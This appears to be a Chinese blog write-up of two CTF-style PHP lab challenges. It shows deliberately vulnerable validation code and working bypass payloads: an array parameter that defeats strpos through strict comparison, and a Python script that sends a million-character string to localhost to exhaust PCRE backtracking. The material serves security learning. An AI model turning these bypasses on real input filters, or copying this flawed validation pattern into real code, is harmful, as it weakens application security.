【安全】正则回溯绕过练习简单案例

目录

环境

案例1

前要

代码审计 

分析 

案例2 

代码审计

分析

payload


环境

        phpstudy

案例1

      前要

        php中0 1 -1 true false null 空字符 数组之间的比较 

      代码审计 

<?php
function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting); 
    //2.传参之后来到这个有正则匹配的函数
}
$greeting=@$_POST['greeting'];
//1.post传参

if(!areyouok($greeting)){
    //3.这个if要areyouok返回false才能进来
    if(strpos($greeting,'Merry Christmas') !== false){  
        //4.这个if要里面的strpos为字符查找函数,
         //如果查找到返回字符的位置,没有就返回false

        //5.根据弱类型匹配原则构造payload
        echo 'flag{this is flag}';
    }else{
        echo 'Do you know .swp file?';
    }
}else{
    echo 'Do you know PHP?';
}

 strpos函数官方文档提示:

        经过实验,如果字符串位置放数组返回的实际是null

     分析 

         ①正则要匹配不上才能进第一个if        

         ②第二个if又要求greeting中含有Merry Christmas

         ③跳出第二个的思想,根据官方文档提示如果返回的是null的话

         ④null !== false能返回true是因为!==参考的是严格比较=== (!=参考的==)

        payload

greeting[]=

案例2 

     代码审计

<?php
function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting);
}
//3.目的是不匹配上merrychristmas

$greeting=@$_POST['greeting'];
//1.post传参
if(!is_array($greeting)){
    //2.判断是否为数组(封杀案例1的那种payload)
    if(!areyouok($greeting)){
        if(strpos($greeting,'Merry Christmas') !== false){
        //4.匹配上merrychristmas

            echo 'Merry Christmas. '.'flag{this is flag}';
        }else{
            echo 'Do you know .swp file?';
        }
    }else{
        echo 'Do you know PHP?';
    }
} else {
    echo 'fuck array!!!';
}
?>

     分析

        ①不能匹配到MC的同时又要匹配到MC才能拿到flag

        ②正则回溯吐字符100w次就会返回false(目的是防止ddos)这样第一个if就能过去了,第二个只要里面存在MC也能进,那就构造存在MC的然后又会回溯100w次以上的

        

     payload

from requests import post

payload = {
    'greeting': 'Merry Christmas' +'x'*1000000
}
res = post('http://localhost:8081/demo4.php', data=payload)
print(res.text)

注:图中所标版本复现失败,我以为是php版本高了,结果下面那个8.的复现成功了实属离奇

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值